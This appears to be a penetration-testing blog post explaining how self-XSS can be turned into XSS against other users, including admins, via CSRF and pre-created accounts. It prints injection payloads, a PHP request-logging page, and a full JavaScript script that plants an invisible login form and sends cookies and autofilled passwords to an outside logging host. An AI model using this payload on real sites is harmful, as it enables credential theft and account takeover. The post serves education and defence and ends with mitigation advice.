Maybe you’re a web app pentester who gets frustrated with finding self-xss on sites you test, or maybe you’re a website owner who keeps rejecting self-xss as a valid vulnerability. This post is intended to help both understand the risk involved in self-xss and how it can possibly be used against other users.

So what is self-xss?

self-xss is a form of cross-site scripting (xss) that appears to only function on the user’s account itself and typically requires the user to insert the JavaScript into their own account. This isn’t all that useful to an attacker since the goal is to get the xss to execute on other users of the application. A classic example of self-xss is having an xss vulnerability on the user’s account profile page that can only be viewed by the user. Here’s an example of a user inserting JavaScript into their own account name:

The user sets the value of the ‘name’ field to “><script>alert(1)</script> in order to break out of the initial <input> tag and insert the desired JavaScript into the page. Notice that the resulting page source contains our inserted script tags and the JavaScript executes when the user’s account profile is loaded. Okay, so who will this ‘malicious’ JavaScript affect? If the application allows user’s to see other user’s names, then this would be a nice attack vector, but what if it doesn’t? Who’s going to see the infected username and “get popped” by our malicious JavaScript payload other than ourselves? Below, we’ll discuss several ways that self-xss can be transformed into traditional xss.

Executing on privileged user accounts

Most web applications have tiered permissions on their user accounts. If the self-xss injection point resides in a “normal” user’s account, an administrative user will likely have the ability to view the compromised user account’s details. We’ve seen this occur on many assessments where we are given access to both a normal user account and an administrative user account. By injecting a self-xss payload into the normal user’s account, then viewing that user’s account with the admin account, the xss is successfully executed in the context of the admin account. Well, what if you don’t have access to an admin account in order to verify this behavior manually? You can setup an external logging server and inject a payload that will call out to the logging server. By periodically checking the external server’s logs, you can verify whether or not the payload has been executed by another user.

Here’s a simple example of a php logging page on an external server (ex: https://yourdomain.com/log):

<?php
//use htmlspecialchars() to prevent persistent xss on your own log pages :)
$req_dump = htmlspecialchars(print_r($_REQUEST, TRUE), ENT_QUOTES, 'UTF-8');
$headers = apache_request_headers();

//You need to have a request.log file in the current directory for this to work
$fp = fopen('request.log', 'a');
$req_dump .= " - ";
$req_dump .= date("Y-m-d H:i:s");
$req_dump .= "<br>";

foreach ($headers as $header => $value) {
fwrite($fp, "$header: $value <br />n");
}
fwrite($fp, "<br />n");
fwrite($fp, $req_dump);
fwrite($fp, "<br />n");
fclose($fp);

echo "success";

Instead of inserting “><script>alert(1)</script> into the username, you would submit something like: “><script src=’https://yourdomain.com/js/stealcreds.js’>

The following JavaScript would be placed in the stealcreds.js file referenced in the xss. It immediately performs a “check-in” call if the script successfully loads, which sends the user’s cookies and the URL where the xss was executed. The script then inserts an invisible login prompt into the page, then waits for the browser to auto-fill the user’s saved credentials. If the script detects that the form has been auto-filled by the browser, then the user’s credentials are also sent to the logging server:

var done = false;
var stolen = false;
 
function makeit(){
    setTimeout(function(){
        var myElem = document.getElementById("loginmodal");
        if (myElem === null){
            document.body.innerHTML += '<a style="display:none" >Modal Login</a><div id="loginmodal" style="display:none;"><h1>User Login</h1>' +
                                       '<form id="loginform" name="loginform" method="post"><h2 style="color:red">Your session has timed out, ' +
                                       'please re-enter your credentials</h2><label for="username">Username:</label><input type="text" ' +
                                       'name="username" id="username" class="txtfield" tabindex="1"><label for="password">Password:</label>' +
                                       '<input type="password" name="password" id="password" class="txtfield" tabindex="2"><div class="center">' +
                                       '<input type="submit" name="loginbtn" id="loginbtn" class="flatbtn-blu hidemodal" value="Log In" tabindex="3">' +
                                       '</div></form></div>';
            XSSImage = new Image;
            XSSImage.src="https://yourdomain.com/log?checkin=true&cookies=" + encodeURIComponent(document.cookie) + "&url=" + window.location.href;
        }
    }, 2000);
}

makeit();
 
function defer_again(method) {
    var myElem = document.getElementById("loginmodal");
    if (myElem === null)
        setTimeout(function() { defer_again(method) }, 50);
    else{
        method();
    }
}
 
defer_again(
    function trig(){
        var uname = document.getElementById('username').value;
        var pwd = document.getElementById('password').value;
        if (uname.length > 4 && pwd.length > 4)
        {
            done = true;
            //alert("Had this been a real attack... Your credentials were just stolen. User Name = " + uname + "  Password = " + pwd);
            XSSImage = new Image;
            XSSImage.src="https://yourdomain.com/log?username=" + encodeURIComponent(uname) + "&password=" + encodeURIComponent(pwd) + 
                         "&url=" + window.location.href;
            stolen = true;
            return false;
        }

        if(!stolen){
            document.getElementById('username').focus();
            setTimeout(function() { trig() }, 50);
        }
    }
);

The resulting log entries will look something like this if the browser auto-fills the user’s credentials in our invisible login form:

Cross-Site Request Forgery (CSRF)

If you’re not familiar with CSRF, then here’s OWASP’s definition:

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

The short of it is this: if the affected website is vulnerable to CSRF, then self-xss always becomes regular xss. If I can convince a user to visit my website, then my website makes a post request to the affected website to change the user’s name to “><script src=’https://yourdomain.com/js/stealcreds.js’>, then my work is done and self-xss has successfully been converted to regular xss.

CSRF Logout/Login

Another potential method for using CSRF to execute self-xss against another user is discussed by @brutelogic in his post here: https://brutelogic.com.br/blog/leveraging-self-xss/

Essentially, CSRF is used to log the current user out of their session and log them back into our compromised user account containing the self-xss. Our cred stealing xss vector would work perfectly for this, since it would steal the user’s browser-stored credentials for us.

Pre-Compromised Accounts

While I’ve never seen/heard of this being successfully implemented, it is possible to target a particular email address and create an account on the affected site for them. The targeted email address will typically receive a welcome email letting them know an account has been created for them on the affected application. As the attacker, we insert the self-xss payload into the user’s account when the account is created. Since the user won’t know the password we’ve set for them, we could also perform the password reset for them, or simply wait for them to perform a password reset request themselves. Once they successfully login to the account, our xss payload will execute.

Xss Jacking

xss jacking is a xss attack by Dylan Ayrey that can steal sensitive information from the victim. xss Jacking requires click hijacking, paste hijacking and paste self-xss vulnerabilities to be present in the affected site, and even needs the help of some social engineering to function properly, so I’m not sure how likely this attack would really be.

While this particular attack vector requires a specific series of somewhat unlikely events to occur, you can see a POC for xss jacking here: https://security.love/XSSJacking/index2.html

Pure Social Engineering

I added this one in even though it doesn’t require the site to actually contain a self-xss vulnerability. This type of attack relies on people being dumb enough to open their web console and paste in unknown JavaScript into it. While this seems rather unlikely, it apparently is more common than you’d think. This type of attack isn’t really a vulnerability on the site per-say, but could be used in conjunction with a lax (or missing) CSP to execute external JavaScript, or to steal the user’s session cookies if they are missing the httponly flag, etc.

Conclusion

Hopefully we’ve been able to highlight some of the ways an attacker could exploit a seemingly innocuous self-xss vulnerability on your site. The key takeaways are:

  1. Even though you don’t *think* that a self-xss vulnerability on your site carries risk, it probably does, and you should fix it regardless.
  2. Make sure your site isn’t vulnerable to CSRF
    1. https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
  3. You should implement a good Content Security Policy (CSP) to prevent external scripts from loading in your application
    1. https://www.owasp.org/index.php/Content_Security_Policy